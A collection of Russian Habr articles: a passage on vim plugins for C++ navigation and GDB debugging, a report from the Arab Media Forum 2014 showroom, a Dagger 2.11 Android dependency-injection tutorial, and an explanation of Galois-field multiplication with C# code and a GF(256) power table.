После этого vim, запущенный из директории с compilation database (или любой ее поддиректории) начнет индексировать файлы, и через некоторое время по ним можно начать навигацию. F3 покажет текущий статус парсера, Ctrl+K открывает FuzzyFinder, в котором можно искать символы, F2 перепрыгивает на определение символа, и F12 показывает все места в коде, где символ под курсором используется.
Если хочется, чтобы строка состояния показывала название текущей функции, то можно ее настроить, например, так:
```
hi User1 ctermbg=darkgreen ctermfg=black guibg=darkgreen guifg=black
hi User2 ctermbg=gray ctermfg=black guibg=gray guifg=black
hi User3 ctermbg=darkgray ctermfg=gray guibg=darkgray guifg=gray
set statusline=%1*\ %{CtrlKGetCurrentScope()}\ %2*\ %F%m%r%h\ %w\ \ %3*\ %r%{getcwd()}%h%=%l:%c
set laststatus=2
```
Вот два примера работы. В первом примере мы запускаем Vim из папки с проектом, нажимаем Ctrl+K, и переходим к файлу. Это не очень удачный пример, потому что к файлу перейти можно и просто используя Fuzzy Finder или CtrlP, но в CtrlK таким же образом можно перейти и к любом классу или другому символу.
Во втором примере мы опять использум Ctrl+K чтобы найти функцию RestoreStartWorker, в ней позиционируем курсор на классе CodePrinter, и находим все упоминания этого класса в коде, нажав F12. Если бы мы нажали F2, то Vim бы сразу прыгнул на определение класса.
В этом примере есть небольшая задержка при поиске всех вхождений. На самом деле, она работает моментально, но после первого открытия любого файла проходит 1-3 секунды на его парсинг, и до того, как парсинг закончится, переход на определение и поиск вхождений не работают.
В завершении, немного про отладку. Для отладки есть несколько плагинов, и они все очень плохие. Я потратил несколько дней, и все-таки сумел установить [PyClewn](http://pyclewn.sourceforge.net/) и заставить его работать. PyClewn позволяет устанавливать точки останова, смотреть на локальные переменные, наблюдать за выводом программы прямо из Vim, и позволяет вводить команды для GDB. Это значительно менее удобно, чем интеграция у QtCreator, например, или у любой другой полноценной среды разработки, но немного лучше, чем запускать GDB в отдельном терминале. PyClewn в целом решал проблему, но хотелось большего.
Мой коллега написал плагин для Vim, который использует TMux, чтобы запустить GDB рядом с Vim на одном экране, и либо управлять им прямо из Vim (например, ставить точки останова, смотреть значения переменных), либо переключаться в окно GDB и просто работать с GDB. Локальные переменные, или поля объектов, можно смотреть в виде дерева в nerd tree. К сожалению, у плагина нет никакой документации, но его установка достаточно проста. Надо установить два плагина через Vundle, а затем настроить vimrc.
```
Plugin 'ManOfTeflon/exterminator'
Plugin 'ManOfTeflon/nerdtree-json'
```
Если уже используется стандартное nerdtree, то его надо убрать. nerttree-json — это форк nerdtree, который позволяет расширять его возможности, и делать lazy-вычисление элементов дерева.
Затем вот пример настройки exterminator у автора плагина:
**Скрытый текст**
```
function! s:get_range()
" Why is this not a built-in Vim script function?!
let [lnum1, col1] = getpos("'<")[1:2]
let [lnum2, col2] = getpos("'>")[1:2]
let lines = getline(lnum1, lnum2)
let lines[-1] = lines[-1][: col2 - (&selection == 'inclusive' ? 1 : 2)]
let lines[0] = lines[0][col1 - 1:]
return join(lines, "\n")
endfunction
nnoremap & :exec 'VimGrep ' . expand('')
vnoremap & :exec 'VimGrep ' . s:get\_range()
comm! -nargs=0 -range GdbVEval exec 'GdbEval ' . s:get\_range()
nnoremap :exec "GdbEval " . expand("")
vnoremap :GdbVEval
nnoremap :GdbLocals
nnoremap :GdbNoTrack
nnoremap :GdbContinue
nnoremap :GdbBacktrace
nnoremap :GdbUntil
nnoremap :GdbExec finish
nnoremap :GdbExec step
nnoremap :GdbExec next
nnoremap :GdbToggle
noremap :GdbExec up
noremap :GdbExec down
function! s:start\_debugging(cmd)
cd $PATH\_TO\_EXECUTABLE
exec 'Dbg ' . a:cmd
endfunction
command! -nargs=1 DbgWrapper call s:start\_debugging()
nnoremap B :DbgWrapper ./executable
```
Где $PATH\_TO\_EXECUTABLE и ./executable — путь к программе для отладки и ее название.
С такой конфигурацией в запущенном из TMux Vim можно запустить отладку через \B, в результате чего TMux разделит экран на два, и запустит во втором GDB, связанный с Vim. В частности, при передвижении по фреймам в GDB Vim будет показывать код в текущем фрейме, и из Vim с помощью горячих клавиш можно передвигаться по фреймам, ставить точки останова, выполнять программу по шагам, и показывать значения переменных в nerdtree. В частности, F5 покажет значения всех локальных переменных, а F6 — переменной под курсором.
Код плагина для навигации по C++ и его серверной части открыты и доступны на GitHub под MIT License:
<https://github.com/SkidanovAlex/CtrlK>
<https://github.com/SkidanovAlex/py-ctrlk>
Код плагина для отладки тоже открыт, и доступен под WTFPL лицензией:
<https://github.com/ManOfTeflon/exterminator> | https://habr.com/ru/post/245681/ | null | ru | null |
# Будущее наступает на AMF 2014
Так получилось, что я не журналист и не блоггер. Не таскаю с собой дорогой фотоаппарат или камеру, и для повседневных фото-видеосъёмок мне хватало смартфона. Однако сегодня судьба закинула меня на Arab Media Forum 2014, где арабские журналисты и видные блоггеры рассуждали о SocialMedia в современном мире, и в жизни арабских стран в частности. И была там комната волшебная, войдя в которую я не смог удержать желание снять видео и поделиться с хабражителями. И впервые я пожалел, что мне не на что снять приличное видео.
Я не могу описать всё, что тут обсуждали, поскольку не услышал ни одного доклада на английском. Желающие могут почитать твиты с тегом #AMF14. Я же хочу поделиться парочкой видео из замечательного шоурума, построенного чтобы показать нам с вами будущее, как его видно сквозь призму кучи денег и повёрнутости на гаджетах (тут говорили, что проникновение смартфонов в ОАЭ самое высокое в мире — 75% или что-то такое). Поскольку всё сфотографировано и снято на смартфон, особых эстетов попрошу искать видео на YouTube, когда его туда начнут выкладывать другие посетители, весьма рекомендую посмотреть. Цель же этого поста — просто поделиться позитивными впечатлениями с теми, кто может оценить эту чудо-комнату.
Комната представляет собой помещение где-то метров 10 на 8, все стены которой представляют собой экран. На них транслируется картинка, которая красиво переходит с потолка на стены. Получается очень атмосферно и красиво. Центральная стенка сделана из ЖК панелей. Если я правильно помню, это Samsung. Стены — некие светящиеся точки, диаметром миллиметра 3-4. Я бы сказал «диоды», но я не знаю диодов с таким широким спектром цветов. К сожалению, спросить тут некого. Пол немного другой фактуры, там пиксели квадратные и они немного больше. Думаю, технологически они такие же как в стене, просто в плоском износостойком формфакторе.
Перед центральной стенкой стоят 5 touch-панелей с футуристичным интерфейсом. Вначале нам предлагают приложить руку для разрешения доступа, потом просят ввести имя. Предлагают посмотреть несколько видео и фотографий. Все открытые фото/видео можно двигать по экрану, убирать с экрана быстрым движением (какбы скидывая со стола), и масштабировать с помощью multi-touch. Ощущаешь себя эдаким голливудским героем из очередного фильма про будущее. И хоть понимаешь что всё это лишь флэш, ребёнок в глубине твоей души кричит от восторга и требует подвигать картинки ещё хотябы чуть-чуть.
*Вход в волшебную комнату.*
*Комната, где сидят журналисты и техники. На два экрана транслируется лента из Twitter, на центральный — стрим с конференции.*
*Нас догонят.*
Ну и добавлю немного статистики чисто от себя для таких же любопытствующих, и чтобы статья была про IT. Максимум тут было около 750 беспроводных девайсов онлайн. Пик сетевой нагрузки был в районе 120Мб/с на download (роутер делал load balance между двумя каналами Internet). Суммарный трафик за 7 часов конференции — около 140Гб (и она ещё продолжается):
`RX bytes:113489255061 (105.6 GiB) TX bytes:39419805389 (36.7 GiB)`
*Статистика с влана беспроводных юзеров на роутере.*
*Порой видео начинает тормозить, телефон не вытягивает скорости смены цветов.*
*Я пытаюсь играться с интерфейсом и одновременно снимать. Увы.* | https://habr.com/ru/post/223505/ | null | ru | null |
# Dagger 2.11 & Android. Часть 2
В [предыдущей статье](https://habrahabr.ru/post/335940/) мы рассмотрели, как мы можем использовать специальный модуль dagger-android для предоставления зависимостей в активити и фрагменты, а также организацию разных скоупов.
В данной статье мы рассмотрим составляющие модуля, рассмотрим предоставление зависимостей в другие базовые компоненты андроида, а также рассмотрим варианты предоставления зависимостей с динамическими параметрами.
Модуль dagger-android позволяет заинжектить зависимости в следующие базовые компоненты андроида:
`Activity, Fragment, Service, DaggerIntentService, BroadcastReceiver, ContentProvider.`
Если мы используем классы из библиотеки поддержки (например `AppCompatActivity, android.support.v4.app.Fragment`), то нам надо использовать соответствующие классы из дополнительной даггер библиотеки поддержки (dagger-android-support).
#### AndroidInjector
Служит для инъекций зависимостей в наследников базовых компонентов (`Activity, Fragment, и т.д.`).
#### `@ContributesAndroidInjector`
Данная аннотация должна быть применена над абстрактным методом в модуле, где возвращаемый тип метода — это наследник базового компонента андроид(`Activity, Fragment и т.д.`). Метод не должен иметь параметров.
Данная аннотация служит для генерации `AndroidInjector` для возвращаемого типа метода, над которым указана аннотация. Данный `AndroidInjector` является сабкомпонентом. Этот сабкомпонент является дочерним того компонента (или сабкомпонента), в который данный модуль(в котором присутствует данная аннотация) будет добавлен.
Аннотация содержит параметр `modules`. Данный параметр указывает на то, какие модули будут добавлены к данному сгенерированному сабкомпоненту.
Над методом с аннотацией `@ContributesAndroidInjector` также может присутствовать аннотация скоупа. Данный скоуп будет применен к сгенерированному сабкомпоненту.
#### AndroidInjectionModule / AndroidSupportInjectionModule
Встроенный модуль библиотеки dagger-android. Должен быть добавлен в root компонент.
Содержит в себе мультибайндиг коллекций с фабриками для создания сабкомпонентов, которые были сгенерированы с помощью аннотации `@ContributesAndroidInjector`. Для каждого базового компонента андроида своя коллекция.
#### DispatchingAndroidInjector
Является прокси `AndroidInector`, содержит коллекцию фабрик для создания сабкомпонента (`AndroidInjector`) для определенного типа. Например `DispatchingAndroidInjector` содержит все фабрики создания сабкомпонентов для наследников `Activity`. При инжекте ищет нужную фабрику, создает сабкомпонент(`AndroidInject`) и инжектит зависимости.
#### AndroidInjection / AndroidSupportInjection
Класс утилита, имеет перегруженный метод `inject` для всех базовых типов (`Activity, Fragment, Service и т.д.`). В зависимости от переданного типа, ищет реализацию одного из следующих интерфейсов:
* HasActivityInjector
* HasFragmentInjector
* HasServiceInjector
* HasContentProviderInjector
* HasBroadcastReceiverInjector
dagger-android-support
* HasSupportFragmentInjector
Поиск реализации нужного интерфейса содержащий нужный `AndroidInject` происходит у объекта у которого время жизни выше.
Интерфейсы `HasActivityInjector, HasServiceInjector, HasContentProviderInjector, HasBroadcastReceiverInjector` должны быть реализованы в application. Интерфейсы `HasFragmentInjector` или `HasSupportFragmentInjector` могут быть реализованы в фрагменте или активити или в `application`, поиск реализации идет в следующем порядке: родительский фрагмент, активити в котором данный фрагмент находится и `application`.
`AndroidInjection.inject()` должен быть вызван в определенном методе, до вызова супер метода:
* Activity — onCreate
* Fragment — onAttach
* Service — onCreate
* IntentService — onCreate
* ContentProvider — onCreate
* BroadcastReceiver — onReceive
Dagger-android имеет классы, которые мы можем использовать (эти классы уже реализуют необходимые интерфейсы и вызов метода `AndroidInjection.inject()`):
* DaggerApplication (*HasActivityInjector, HasFragmentInjector, HasServiceInjector, HasBroadcastReceiverInjector, HasContentProviderInjector*)
* DaggerActivity (*HasFragmentInjector*)
* DaggerFragment (*HasFragmentInjector*)
* DaggerBroadcastReceiver
* DaggerContentProvider
* DaggerService
* DaggerIntentService
dagger-android-support
* DaggerApplication (такие же как и в *DaggerApplication + HasSupportFragmentInjector*)
* DaggerAppCompatActivity (*HasFragmentInjector, HasSupportFragmentInjector*)
* DaggerFragment (*HasSupportFragmentInjector*).
Если по каким то причинам мы не можем расширить один из этих классов, то мы всегда можем реализовать необходимый интерфейс.
#### Примеры использования dagger-классов:
**Определим наш основной компонент:**
Наш компонент должен наследовать `AndroidInjector`, т.к. при использовании `DaggerApplication` нам необходимо будет реализовать один метод, который должен возвращать `AndroidInjector`. Это только необходимо делать для `application`, т.к. мы вручную определяем главный компонент.
```
@Component(modules = {AppModule.class, AndroidSupportInjectionModule.class})
@Singleton
public interface AppComponent extends AndroidInjector {
@Component.Builder
abstract class Builder extends AndroidInjector.Builder {}
}
```
**Определим основной модуль**
В данном модуле мы добавим "маппинг" для нашей активити, сервиса и бродкаст ресивера. Для них будет сгенерированы сабкомпоненты и будут добавлены к основному компоненту, т.к. этот модуль мы подключили к основному компоненту.
```
@Module
abstract public class AppModule {
@Provides
@Singleton
public static Context context(App app) {
return app.getApplicationContext();
}
@Provides
@Singleton
public static UserRepository userRepository(Context context) {
return new UserRepositoryImpl(context);
}
@ContributesAndroidInjector(modules = {
ActivityModule.class
})
@ActivityScope
abstract MainActivity mainActivity();
@ContributesAndroidInjector(modules = {
ServiceModule.class
})
@ServiceScope
abstract MyIntentService myIntentService();
@ContributesAndroidInjector
@ReceiverScope
abstract SomeReceiver connectionReceiver();
}
```
**Определим наш класс Application**
```
public class App extends DaggerApplication {
@Override
protected AndroidInjector extends DaggerApplication applicationInjector() {
return DaggerAppComponent.builder().create(this);
}
}
```
**Пример с Activity**
```
public class MainActivity extends DaggerAppCompatActivity {
@Inject
UserRepository userRepository;
@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);
//userRepository уже можем использовать
}
}
```
**Пример с IntentService**
```
public class MyIntentService extends DaggerIntentService {
@Inject
UserRepository userRepository;
public MyIntentService() {
super("MyIntentService");
}
@Override
protected void onHandleIntent(@Nullable Intent intent) {
//userRepository уже можем использовать
}
}
```
**Пример с Receiver**
```
public class SomeReceiver extends DaggerBroadcastReceiver {
@Inject
UserRepository userRepository;
@Override
public void onReceive(Context context, Intent intent) {
super.onReceive(context, intent);
//userRepository уже можем использовать
}
}
```
#### Component lifecycle
При использовании dagger-android, компоненты и сабкомпоненты живут на протяжении жизни андроид компонентов(`Activity, Fragment, Service` и т.д.) в которых они были созданы и дестроить вручную их не надо. К примеру активити сабкомпоент создается в момент вызова `AndroidInjection.inject()` и живет до тех пор пока активити не уничтожена.
#### Dynamic parameters
C использованием dagger-android нам не нужно билдить сабкомпоненты и запрос зависимостей теперь достигается путем одного вызова `AndroidInjection.inject()`, а при использовании готовых классов из библиотеки dagger (например `DaggerAppCompatActivity`), мы можем сразу использовать зависимости. Может возникнуть такой вопрос, как мы можем сделать подобное:
```
long userId = getArguments().getLong(USER_ID);
getAppComponent()
.plusUserComponent(new UserModule(userId))
.inject(this);
```
userId является динамическим параметром для модуля. Данный параметр к примеру может использоваться для создания `UserPresenter(UserRepository userRepository, Long userId)`.
Варианты реализации:
Вариант 1:
Установка параметров в объект, где он используется.
```
public class UserPresenter {
private UserView userView;
private UserRepository userRepository;
private long userId;
@Inject
public UserPresenter(UserView userView, UserRepository userRepository) {
this.userView = userView;
this.userRepository = userRepository;
}
public void setUserId(long userId) {
this.userId = userId;
}
}
public class UserFragment extends BaseFragment implements UserView {
@Inject
UserPresenter userPresenter;
@Override
public void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
userId = getArguments().getLong(USER_ID);
userPresenter.setUserId(userId);
}
}
```
Данный вариант не подходит для immutable классов.
Вариант 2:
Перестроить сам класс таким образом, чтобы он не принимал динамические параметры при создании, а сам параметр использовать через методы:
```
public final class UserPresenter {
private final UserView userView;
private final UserRepository userRepository;
@Inject
public UserPresenter(final UserView userView, final UserRepository userRepository) {
this.userView = userView;
this.userRepository = userRepository;
}
public void loadUserInfo(long userId) {
//
}
}
public class UserFragment extends BaseFragment implements UserView {
@Inject
UserPresenter userPresenter;
@Override
public void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
userId = getArguments().getLong(USER_ID);
userPresenter.loadUserInfo(userId);
}
}
```
Вариант 3:
Реализовать создание объекта с динамическими параметрами с помощью фабрики:
```
public final class UserPresenter {
private final UserView userView;
private final UserRepository userRepository;
private final long userId;
public UserPresenter(final UserView userView, final UserRepository userRepository, long userId) {
this.userView = userView;
this.userRepository = userRepository;
this.userId = userId;
}
}
public final class UserPresenterFactory {
private final UserView userView;
private final UserRepository userRepository;
@Inject
public UserPresenterFactory(UserView userView, UserRepository userRepository) {
this.userView = userView;
this.userRepository = userRepository;
}
public UserPresenter create(long userId) {
return new UserPresenter(userView, userRepository, userId);
}
}
public class UserFragment extends BaseFragment implements UserView {
@Inject
UserPresenterFactory userPresenterFactory;
UserPresenter userPresenter;
@Override
public void onCreate(@Nullable Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
userId = getArguments().getLong(USER_ID);
userPresenter = userPresenterFactory.create(userId);
}
}
```
Написание подобных фабрик может оказаться не удобным или занимать некоторое время, для решение этой проблемы можно посмотреть в сторону [AutoFactory](https://github.com/google/auto/tree/master/factory).
Есть еще решение от Fernando Cejas, больше подходящее для тех, кто использует RxJava:
[Dynamic Parameters in Use Cases](https://fernandocejas.com/2016/12/24/clean-architecture-dynamic-parameters-in-use-cases/)
#### Вывод
Dagger-android позволяет предоставлять зависимости в базовые компоненты андроид (`activity, fragment, service` и т.д.) более удобным способом, избавляет нас от создания сабкомпонентов и контроля за ними. Активити, фрагменты, сервисы и т.д. выглядят более “чистыми”.
Надеюсь, данная статья помогла вам больше разобраться с возможностями dagger-android. | https://habr.com/ru/post/336462/ | null | ru | null |
# Программная реализация умножения в полях Галуа
Захотелось мне как-то сделать более надёжной передачу информации через радиоканал. Это не какой-то промышленный проект, или что-то другое серьёзное. Это скорее для хобби и саморазвития. Сказалась травма детства — отсутствие нормально работающей радиоуправляемой машинки. С тех пор мне всегда хотелось уметь легко и непринуждённо управлять чем угодно по радио...
Итак, я отвлёкся. В детстве-юношестве для помехоустойчивого кодирования можно было бы применить контроль чётности по матричному методу, но сейчас это не серьёзно. Полистав интернет я решил остановиться на кодировании по методу Рида-Соломона. Алгоритм не то, чтобы совсем новый, его ещё в первых CD применяли, но при этом, насколько мне известно, не потерявший своей актуальности и на данный момент. В этой статье о самих кодах Рида-Соломона я не буду сильно распространяться – это за меня на Хабре сделали много раз и много кто. Здесь я хочу описать реализацию алгоритма умножения в GF[256]. Тем не менее, чтобы не заставлять читателя прыгать по ссылкам, кратенько опишу зачем вообще приходится иметь дело с полями Галуа.
Избыточное кодирование Рида-Соломона это о матрицах. Мы используем матрицы при кодировании и при декодировании. В этих процессах присутствуют как операции умножения матриц, так и операции нахождения обратных матриц — деления. Деление здесь требуется не приблизительное-целочисленное, а самое настоящее, точное. А точное деление для компьютера нерешаемая задача: один разделить на три это ноль целых и бесконечное количество троек после запятой, но память при этом 640 килобайт хватит каждому.
Галуа жил в начале 19 века, жил очень мало (21 год, вообще про его личность история интересная, но сейчас не об этом). Его работы очень сильно пригодились при цифровом кодировании. Конечное поле Галуа — это набор чисел от нуля до n. Суть и интересность этих полей в том, что для элементов этого набора можно определить операции сложения-умножения-вычитания-деления такие, что результат операции будет находиться в самом этом поле. Например, возьмём набор (поле):
![$[0,1,2,3,4,5,6,7]$](https://habrastorage.org/getpro/habr/formulas/e24/66e/255/e2466e255105c7e262ff4bf6c53daaf7.svg)
 в этом поле так же, как и в поле привычных нам, действительных чисел. А вот 5+6 равно не 11, как мы привыкли, а 5+6=3, и это замечательно! 3 входит в это поле (вообще сложение и вычитание для конкретно этого поля это просто побитовый XOR). Для умножения и деления тоже выполняется правило: результат от умножения или деления любых двух чисел из поля (набора… Далее буду говорить только «поле») будет находиться в этом поле.
Вообще, количество элементов поля это число не произвольное. Оно называется «порядком поля» и может быть либо простым числом, либо степенью простого числа (основание этой степени называют «характеристикой поля»). К счастью, количество чисел, которое можно зашифровать с помощью одного байта равно 256, а это два (простое число) в степени 8, и мы можем принять множество всех возможных значений байта за конечное поле Галуа. По умному оно называется GF[256], GF значит Galois Field.
Так вот. Если использовать арифметику в поле Галуа над байтами, то при делении матриц, состоящих из байтов никогда не получится чисел, которые нельзя записать в один байт, а значит то, как реализовывать «в железе» (я использую stm32 в основном) алгоритмы кодирования-декодирования становится немного понятнее.
Немного об арифметике. Сложение и вычитание, как упоминалось ранее, это одна и та же операция в полях Галуа (это точно верно для полей с основанием 2), и реализуется она как побитовый XOR.
Просто до ужаса. Но когда заходит речь об умножении и делении начитнается что-то, что для человека с натянутыми отношениями с математикой (да, это про меня) не так ясно, как день на луне.
При умножении каждый операнд представляется как полином. Происходит это следующим образом: берётся двоичное представление числа, и записывается сумма, где степень икс — есть номер двоичного разряда, а его коэффициент — это значение разряда.
Пример:
Далее полиномы перемножаются по правилам перемножения полиномов, то есть каждый член в первой скобке умножается на каждый член во второй, но не просто так, а с учётом того, что коэффициент не может быть больше одного. 
То есть коэффициенты складываются по модулю 2. Пример умножения в GF[8]:
Далее «складываем» (в кавычках — потому, что по модулю 2) подобные члены, и получаем , что мы переводим в обычное число .
Так как это умножение мы подразумевали в GF[8], то число 10 в результате должно вызвать недоумение: «Как же так? 10 нету в наборе [0,1,2,3,4,5,6,7]». И да. Тут кроется ещё ложка дёгтя. Если получается такая ситуация (результат перемножения не в поле), то далее мы проводим операцию деления по правилам полиномов. Причём делим мы не на что попало, а на определённый, так называемый «порождающий» полином. Откуда он берётся? Почему делится только сам на себя? И прочие вопросы я оставлю без ответа (не потому, что жадный, а потому что не хочу вводить в заблуждение, сам плохо понимаю). Скажу лишь, что для конкретного поля Галуа есть один или несколько таких подходящих порождающих полиномов. Для GF[8] их всего два: 11 и 13, то есть 1011 и 1101 или  и 
И так, чтобы умножить 6 на 3 в поле GF[8] недостаточно лишь перемножить два многочлена. После перемножения надо результат  поделить на один из возможных порождающих многочленов. Здесь мы выберем . Правила деления многочленов столбиком здесь похожи на те, которые мы должны помнить из школьной программы, но во-первых «должны», а во вторых они всё же отличаются. Поясню на нашем примере. Берём старшую степень делимого, в нашем случае это  и делим на старшую степень делителя (здесь это также ). Записываем результат 1. Далее получившийся результат умножаем на весь делитель (получается ). Это мы записываем под делимым, и проводим вычитание (а в поле GF[8] вычитание и сложение есть одно и то же) то есть . Сложение проводим по модулю 2, этому нас обязывает работа в поле, и получаем 1. Далее этот результат мы опять бы делили на порождающий многочлен таким же образом, если бы степень получившегося результата (после вычитания) была бы больше или равной степени делителя (порождающего многочлена). А так как степень меньше, то мы за результат деления принимаем **остаток** от деления, то есть результат вычитания(сложения – здесь это одно и тоже), то есть 1.
Всё.  для GF[8] c порождающим полиномом 11.
Казалось бы всё непросто. С такими сложностями нужно много-много кода и суперкомпьютеры и вообще проще хранить таблицу умножения как массив 256х256 (ну или 8х8, смотря какое поле мы используем), Но всё не так плохо. У полей Галуа есть ещё одно замечательное свойство, и связано оно с операцией возведения в степень. Так как возведение в степень — это просто последовательное умножение, то результат возведения в степень так же является элементом поля Галуа. Также для любого поля верно утверждение, что в нём есть минимум один элемент, степени которого содержат в себе всё поле (кроме 0). То есть, если взять для GF[8] число 2, то
Если присмотреться, то можно обратить внимание, что любое число от 1 до 7 можно однозначно представить как 2 в какой либо степени. Так же свойство операции возведения в степень в этом поле таково, что  ещё ,  и так далее. Это значит, что 2 в любой степени может быть представлено в виде двойки в степени от нуля до 6 с помощью операции получения остатка от деления на 7 в случае положительной степени и простой формулы , если показатель — отрицательное число
Собственно, если вспомнить свойство умножения степеней, то умножение чисел многократно упрощается. И чтобы умножить 6 на 3 мы теперь смотрим, в какой степени двойка равна 6 и в какой степени двойка равна 3, складываем степени и смотрим результат — два в какой-то степени, которую можно представть как 2 в степени от 0 до 6 пример:
С делением тоже всё становится предельно понятно:
И вроде бы вот оно! счастье программиста — реализация арифметики в поле Галуа — пара строчек кода, не нужно заморачиваться с полиномами… Да и быстродействие такого кода будет высоким, но тут я столкнулся с ещё одной проблемой: Таблицу степеней двойки в поле GF[8] с порождающим полиномом 11 найти легко. Даже на этом ресурсе есть. А вот таблицу степеней для GF[256] я с нахрапа не нагуглил, так что решил её составить самостоятельно, C# мне в помощь. Пришлось реализовать алгоритм умножения по правилам полиномов.
Привожу рабочую функцию перемножения для GF[2^n] c произвольным полиномом. Ограничение — я испольую 32-битную арифметику, так что n должно быть меньше 16. Также здесь добавлена функция поиска номера старшего бита числа
```
static uint GetLeadBitNum(UInt32 Val) {
if (0 == Val) { MessageBox.Show("Попытка найти старший бит числа \"0\"! Это ни к чему хорошему не приведёт."); return 0; }
int BitNum = 31;
uint CmpVal = 1u << BitNum;
while (Val < CmpVal) {
CmpVal >>= 1;
BitNum--;
}
return (uint)BitNum;
}
public static uint Galois_b2_ext_mult(uint m1, uint m2, uint Poly) {
if (0 == m1 || 0 == m2) { return 0; }
uint m1_tmp = m1;
uint m2_tmp;
uint m1_bit_num = 0;
//Перемножение двух полиномов, при использовании арифметики по модулю 2 достаточно простое занятие.
//перебираем единички и нолики (для каждого бита первого числа перебираем все биты второго (или наоборот)), складываем номера позиций битов,
//но не всегда, а только когда оба перебираемых бита - единицы, и инвертируем бит результата под номером, равном сумме позиций для данного шага перебора
//(инверсия - это прибавление единицы по модулю 2)
uint PolyMultRez = 0;
while (m1_tmp != 0) {
uint bit_m1 = (m1_tmp & 1u) == 0u ? 0u : 1u;
m1_tmp = m1_tmp >> 1;
m2_tmp = m2;
uint m2_bit_num;
m2_bit_num = 0;
while (m2_tmp != 0) {
uint bit_m2 = (m2_tmp & 1u) == 0u ? 0u : 1u;
m2_tmp = m2_tmp >> 1;
if ((bit_m1 != 0) && (bit_m2 != 0)) {
int BitNum = (int)(m2_bit_num + m1_bit_num);
PolyMultRez ^= 1u << BitNum;
}
m2_bit_num = m2_bit_num + 1;
}
m1_bit_num = m1_bit_num + 1;
}
//Тут есть результат умножения полиномов PolyMultRez. Осталось найти остаток от деления на выбранный порождающий полином.
//Деление полиномов происходит так: Берём старшую степень делимого, и вычитаем старшую степень делителя.
//Получаем число - степень частного
//Теперь перемножаем, а по сути, просто прибавляем к каждой степени делителя степень получившегося частного
//и повторяем всё по кругу, пока степень делимого не окажется меньше степени делителя
uint TmpDivisor_lead_bit_n;
uint TmpQuotient;
uint TmpDivisor = Poly;
uint TmpDividend = PolyMultRez;
uint TmpDividend_LeadBitNum;
uint TmpMult_bitNum;
uint TmpMult_rez;
TmpDividend_LeadBitNum = GetLeadBitNum(TmpDividend);
TmpDivisor_lead_bit_n = GetLeadBitNum(TmpDivisor);
while (TmpDividend_LeadBitNum >= TmpDivisor_lead_bit_n) {
TmpQuotient = (TmpDividend_LeadBitNum - TmpDivisor_lead_bit_n);
TmpMult_bitNum = 0;
TmpMult_rez = 0;
while (TmpDivisor != 0) {
uint bit_TmpMult = (TmpDivisor & 1u) == 0u ? 0u : 1u;
TmpDivisor >>= 1;
TmpMult_rez ^= bit_TmpMult << (int)(TmpQuotient + TmpMult_bitNum);
TmpMult_bitNum = TmpMult_bitNum + 1;
}
TmpDividend = TmpDividend ^ TmpMult_rez;
TmpDivisor = Poly;
TmpDividend_LeadBitNum = GetLeadBitNum(TmpDividend);
}
//Результат умножения числел есть остаток от деления произведения многочленов на порождающий полином.
return TmpDividend;
}
```
Теперь, с помощью приведённой выше функции можно составить таблицу степеней двойки для нужного мне GF[256] и написать модуль арифметики Галуа для stm32 с использованием двух таблиц по 256 — одна для прямого, вторая для обратного преобразования числа в его степень. К самой реализации кодирования Рида-Соломона я ещё даже не приступал, но, когда будет готово, думаю поделюсь здесь же. Надеюсь, получится короче.
UPD: [Не получилось.](https://habr.com/ru/post/537926/)
**UPD2: Бонус. Таблица степеней двойки в GF[256] с порождающим полиномом 285**
Если бы я нагулил такое, то не стал бы разбираться.
{0x01, 0x02, 0x04, 0x08, 0x10, 0x20, 0x40, 0x80, 0x1d, 0x3a, 0x74, 0xe8, 0xcd, 0x87, 0x13, 0x26, 0x4c, 0x98, 0x2d, 0x5a, 0xb4, 0x75, 0xea, 0xc9, 0x8f, 0x03, 0x06, 0x0c, 0x18, 0x30, 0x60, 0xc0, 0x9d, 0x27, 0x4e, 0x9c, 0x25, 0x4a, 0x94, 0x35, 0x6a, 0xd4, 0xb5, 0x77, 0xee, 0xc1, 0x9f, 0x23, 0x46, 0x8c, 0x05, 0x0a, 0x14, 0x28, 0x50, 0xa0, 0x5d, 0xba, 0x69, 0xd2, 0xb9, 0x6f, 0xde, 0xa1, 0x5f, 0xbe, 0x61, 0xc2, 0x99, 0x2f, 0x5e, 0xbc, 0x65, 0xca, 0x89, 0x0f, 0x1e, 0x3c, 0x78, 0xf0, 0xfd, 0xe7, 0xd3, 0xbb, 0x6b, 0xd6, 0xb1, 0x7f, 0xfe, 0xe1, 0xdf, 0xa3, 0x5b, 0xb6, 0x71, 0xe2, 0xd9, 0xaf, 0x43, 0x86, 0x11, 0x22, 0x44, 0x88, 0x0d, 0x1a, 0x34, 0x68, 0xd0, 0xbd, 0x67, 0xce, 0x81, 0x1f, 0x3e, 0x7c, 0xf8, 0xed, 0xc7, 0x93, 0x3b, 0x76, 0xec, 0xc5, 0x97, 0x33, 0x66, 0xcc, 0x85, 0x17, 0x2e, 0x5c, 0xb8, 0x6d, 0xda, 0xa9, 0x4f, 0x9e, 0x21, 0x42, 0x84, 0x15, 0x2a, 0x54, 0xa8, 0x4d, 0x9a, 0x29, 0x52, 0xa4, 0x55, 0xaa, 0x49, 0x92, 0x39, 0x72, 0xe4, 0xd5, 0xb7, 0x73, 0xe6, 0xd1, 0xbf, 0x63, 0xc6, 0x91, 0x3f, 0x7e, 0xfc, 0xe5, 0xd7, 0xb3, 0x7b, 0xf6, 0xf1, 0xff, 0xe3, 0xdb, 0xab, 0x4b, 0x96, 0x31, 0x62, 0xc4, 0x95, 0x37, 0x6e, 0xdc, 0xa5, 0x57, 0xae, 0x41, 0x82, 0x19, 0x32, 0x64, 0xc8, 0x8d, 0x07, 0x0e, 0x1c, 0x38, 0x70, 0xe0, 0xdd, 0xa7, 0x53, 0xa6, 0x51, 0xa2, 0x59, 0xb2, 0x79, 0xf2, 0xf9, 0xef, 0xc3, 0x9b, 0x2b, 0x56, 0xac, 0x45, 0x8a, 0x09, 0x12, 0x24, 0x48, 0x90, 0x3d, 0x7a, 0xf4, 0xf5, 0xf7, 0xf3, 0xfb, 0xeb, 0xcb, 0x8b, 0x0b, 0x16, 0x2c, 0x58, 0xb0, 0x7d, 0xfa, 0xe9, 0xcf, 0x83, 0x1b, 0x36, 0x6c, 0xd8, 0xad, 0x47, 0x8e, 0x01} | https://habr.com/ru/post/528142/ | null | ru | null |
